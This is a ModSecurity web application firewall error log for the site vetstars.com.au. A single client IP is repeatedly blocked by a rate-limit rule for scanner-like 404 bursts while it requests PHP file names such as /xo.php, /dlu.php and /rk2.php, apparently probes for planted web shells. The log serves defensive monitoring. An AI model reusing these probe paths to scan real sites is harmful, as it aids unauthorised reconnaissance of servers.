[Sun Dec 28 19:09:00.337167 2025] [:error] [pid 42293:tid 42327] [client 4.196.149.150:15133] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVEPzMvc9B-5cwN385LZXAAAAEQ"]
[Sun Dec 28 19:09:00.486480 2025] [:error] [pid 29436:tid 29457] [client 4.196.149.150:15213] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVEPzLchzOOtNL9VPNLdnAAAAZI"]
[Sun Dec 28 19:09:00.729826 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:15157] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVEPzBhDotAbVk6pZLe2WgAAAdM"]
[Sun Dec 28 19:09:00.823043 2025] [:error] [pid 29388:tid 29410] [client 4.196.149.150:15130] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVEPzNoLv2L2zI_SpdXTaAAAAU4"]
[Sun Dec 28 19:09:00.912748 2025] [:error] [pid 29388:tid 29414] [client 4.196.149.150:15127] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVEPzNoLv2L2zI_SpdXTaQAAAVI"]
[Sun Dec 28 19:09:00.999518 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15211] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVEPzMvc9B-5cwN385LZXgAAAFM"]
[Sun Dec 28 19:09:01.118042 2025] [:error] [pid 42293:tid 42330] [client 4.196.149.150:15110] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVEPzcvc9B-5cwN385LZXwAAAEc"]
[Sun Dec 28 19:09:01.212700 2025] [:error] [pid 43789:tid 43808] [client 4.196.149.150:15041] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVEPzQa-tUppni4CcCYnhAAAARE"]
[Sun Dec 28 19:09:01.299920 2025] [:error] [pid 42294:tid 42361] [client 4.196.149.150:15065] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEPzdTE5kYcYCOzl9Gz8gAAAIs"]
[Sun Dec 28 19:09:01.375745 2025] [:error] [pid 42292:tid 42314] [client 4.196.149.150:15196] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEPzZyOrM_vaFx1osY_xQAAABI"]
[Sun Dec 28 19:09:01.552945 2025] [:error] [pid 29437:tid 29473] [client 4.196.149.150:15270] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEPzRhDotAbVk6pZLe2XAAAAcc"]
[Sun Dec 28 19:09:01.782785 2025] [:error] [pid 29437:tid 29467] [client 4.196.149.150:15097] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEPzRhDotAbVk6pZLe2XQAAAcE"]
[Sun Dec 28 19:09:02.063553 2025] [:error] [pid 29437:tid 29486] [client 4.196.149.150:15044] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVEPzhhDotAbVk6pZLe2XgAAAdQ"]
[Sun Dec 28 19:09:02.306055 2025] [:error] [pid 43789:tid 43799] [client 4.196.149.150:15077] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVEPzga-tUppni4CcCYnhgAAAQg"]
[Sun Dec 28 19:09:02.598486 2025] [:error] [pid 42378:tid 42385] [client 4.196.149.150:15105] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVEPzjgtcN-KHAjWrX8OuQAAAMU"]
[Sun Dec 28 19:09:03.029744 2025] [:error] [pid 42378:tid 42389] [client 4.196.149.150:15198] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVEPzzgtcN-KHAjWrX8OugAAAMk"]
[Sun Dec 28 19:09:03.591007 2025] [:error] [pid 29388:tid 29412] [client 4.196.149.150:15179] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVEPz9oLv2L2zI_SpdXTbQAAAVA"]
[Sun Dec 28 19:09:03.745392 2025] [:error] [pid 29437:tid 29480] [client 4.196.149.150:15283] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVEPzxhDotAbVk6pZLe2YAAAAc4"]
[Sun Dec 28 19:09:03.847609 2025] [:error] [pid 42292:tid 42305] [client 4.196.149.150:15163] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVEPz5yOrM_vaFx1osY_yAAAAAk"]
[Sun Dec 28 19:09:03.956388 2025] [:error] [pid 29436:tid 29451] [client 4.196.149.150:15123] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVEPz7chzOOtNL9VPNLdnQAAAYw"]
[Sun Dec 28 19:09:04.058867 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:15187] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVEP0Mvc9B-5cwN385LZYQAAAFI"]
[Sun Dec 28 19:09:04.179235 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:15140] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVEP0Mvc9B-5cwN385LZYgAAAFg"]
[Sun Dec 28 19:09:04.491360 2025] [:error] [pid 42293:tid 42328] [client 4.196.149.150:15109] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVEP0Mvc9B-5cwN385LZYwAAAEU"]
[Sun Dec 28 19:09:04.656768 2025] [:error] [pid 29437:tid 29479] [client 4.196.149.150:15115] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVEP0BhDotAbVk6pZLe2YgAAAc0"]
[Sun Dec 28 19:09:04.777840 2025] [:error] [pid 29437:tid 29470] [client 4.196.149.150:14978] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVEP0BhDotAbVk6pZLe2YwAAAcQ"]
[Sun Dec 28 19:09:04.933027 2025] [:error] [pid 42293:tid 42338] [client 4.196.149.150:15106] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVEP0Mvc9B-5cwN385LZZQAAAE8"]
[Sun Dec 28 19:09:05.278831 2025] [:error] [pid 42292:tid 42319] [client 4.196.149.150:15200] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVEP0ZyOrM_vaFx1osY_ygAAABc"]
[Sun Dec 28 19:09:05.721604 2025] [:error] [pid 43789:tid 43812] [client 4.196.149.150:15121] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVEP0Qa-tUppni4CcCYnhwAAARU"]
[Sun Dec 28 19:09:06.133080 2025] [:error] [pid 29437:tid 29487] [client 4.196.149.150:17706] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVEP0hhDotAbVk6pZLe2ZQAAAdU"]
[Sun Dec 28 19:09:06.261946 2025] [:error] [pid 29437:tid 29469] [client 4.196.149.150:15274] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVEP0hhDotAbVk6pZLe2ZgAAAcM"]
[Sun Dec 28 19:09:06.372029 2025] [:error] [pid 42293:tid 42329] [client 4.196.149.150:15160] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVEP0svc9B-5cwN385LZZwAAAEY"]
[Sun Dec 28 19:09:06.468899 2025] [:error] [pid 29388:tid 29401] [client 4.196.149.150:15063] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVEP0toLv2L2zI_SpdXTcgAAAUU"]
[Sun Dec 28 19:09:06.575820 2025] [:error] [pid 29388:tid 29407] [client 4.196.149.150:14984] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVEP0toLv2L2zI_SpdXTcwAAAUs"]
[Sun Dec 28 19:09:06.674882 2025] [:error] [pid 42292:tid 42302] [client 4.196.149.150:15095] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVEP0pyOrM_vaFx1osY_zQAAAAY"]
[Sun Dec 28 19:09:06.834033 2025] [:error] [pid 29437:tid 29476] [client 4.196.149.150:14930] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVEP0hhDotAbVk6pZLe2ZwAAAco"]
[Sun Dec 28 19:09:07.001319 2025] [:error] [pid 29388:tid 29400] [client 4.196.149.150:15167] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVEP09oLv2L2zI_SpdXTdQAAAUQ"]
[Sun Dec 28 19:09:07.196403 2025] [:error] [pid 29388:tid 29403] [client 4.196.149.150:15045] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVEP09oLv2L2zI_SpdXTdgAAAUc"]
[Sun Dec 28 19:09:07.336182 2025] [:error] [pid 29437:tid 29477] [client 4.196.149.150:15066] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVEP0xhDotAbVk6pZLe2aQAAAcs"]
[Sun Dec 28 19:09:07.446381 2025] [:error] [pid 42378:tid 42399] [client 4.196.149.150:15185] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVEP0zgtcN-KHAjWrX8OuwAAANM"]
[Sun Dec 28 19:09:07.612846 2025] [:error] [pid 29388:tid 29397] [client 4.196.149.150:15255] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVEP09oLv2L2zI_SpdXTeAAAAUE"]
[Sun Dec 28 19:09:07.818140 2025] [:error] [pid 42293:tid 42326] [client 4.196.149.150:15280] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVEP08vc9B-5cwN385LZagAAAEM"]
[Sun Dec 28 19:09:08.019394 2025] [:error] [pid 29437:tid 29472] [client 4.196.149.150:15159] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVEP1BhDotAbVk6pZLe2agAAAcY"]
[Sun Dec 28 19:09:08.191804 2025] [:error] [pid 29437:tid 29471] [client 4.196.149.150:15220] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVEP1BhDotAbVk6pZLe2awAAAcU"]
[Sun Dec 28 19:09:08.301878 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:15227] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVEP1DgtcN-KHAjWrX8OvAAAAM4"]
[Sun Dec 28 19:09:08.492245 2025] [:error] [pid 29388:tid 29410] [client 4.196.149.150:15083] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVEP1NoLv2L2zI_SpdXTeQAAAU4"]
[Sun Dec 28 19:09:08.587308 2025] [:error] [pid 42292:tid 42306] [client 4.196.149.150:15137] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVEP1JyOrM_vaFx1osY_zgAAAAo"]
[Sun Dec 28 19:09:08.745601 2025] [:error] [pid 42294:tid 42372] [client 4.196.149.150:15209] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVEP1NTE5kYcYCOzl9Gz9AAAAJY"]
[Sun Dec 28 19:09:08.824084 2025] [:error] [pid 29388:tid 29414] [client 4.196.149.150:15153] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVEP1NoLv2L2zI_SpdXTegAAAVI"]
[Sun Dec 28 19:09:08.929711 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:15048] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVEP1BhDotAbVk6pZLe2bAAAAdM"]
[Sun Dec 28 19:09:09.023894 2025] [:error] [pid 29388:tid 29409] [client 4.196.149.150:15278] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVEP1doLv2L2zI_SpdXTewAAAU0"]
[Sun Dec 28 19:09:09.163362 2025] [:error] [pid 29437:tid 29473] [client 4.196.149.150:15004] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVEP1RhDotAbVk6pZLe2bQAAAcc"]
[Sun Dec 28 19:09:09.283285 2025] [:error] [pid 29388:tid 29418] [client 4.196.149.150:15292] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVEP1doLv2L2zI_SpdXTfAAAAVY"]
[Sun Dec 28 19:09:09.415506 2025] [:error] [pid 29388:tid 29417] [client 4.196.149.150:15165] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVEP1doLv2L2zI_SpdXTfQAAAVU"]
[Sun Dec 28 19:09:09.537002 2025] [:error] [pid 42292:tid 42299] [client 4.196.149.150:15223] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVEP1ZyOrM_vaFx1osY_0gAAAAM"]
[Sun Dec 28 19:09:09.665715 2025] [:error] [pid 42292:tid 42300] [client 4.196.149.150:15142] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVEP1ZyOrM_vaFx1osY_0wAAAAQ"]
[Sun Dec 28 19:09:16.181457 2025] [:error] [pid 29436:tid 29460] [client 4.196.149.150:15195] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVEP3LchzOOtNL9VPNLdoAAAAZU"]
[Sun Dec 28 19:09:16.354345 2025] [:error] [pid 29437:tid 29487] [client 4.196.149.150:15177] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVEP3BhDotAbVk6pZLe2dAAAAdU"]
